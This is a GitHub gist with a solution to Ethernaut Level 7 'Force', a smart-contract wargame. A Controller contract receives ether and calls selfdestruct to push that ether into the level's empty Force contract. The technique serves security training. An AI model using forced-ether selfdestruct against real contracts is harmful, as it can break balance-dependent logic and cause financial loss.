Last active
January 17, 2022 03:21
-
-
Save tennisonchan/10a689c65e2d40722dea87e082c9a3e8 to your computer and use it in GitHub Desktop.
Ethernaut - Level 7 - Force https://ethernaut.openzeppelin.com/level/0xf94b476063B6379A3c8b6C836efB8B3e10eDe188
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./Force.sol"; | |
contract Controller { | |
Force target; | |
constructor(address targetAddress) public { | |
target = Force(targetAddress); | |
} | |
function fundContract() public payable { | |
address(this).call{value: msg.value}(""); | |
} | |
function attrackContract () public { | |
address payable addr = payable(address(target)); | |
selfdestruct(addr); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Force {/* | |
MEOW ? | |
/\_/\ / | |
____/ o o \ | |
/~____ =ø= / | |
(______)__m_m) | |
*/} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment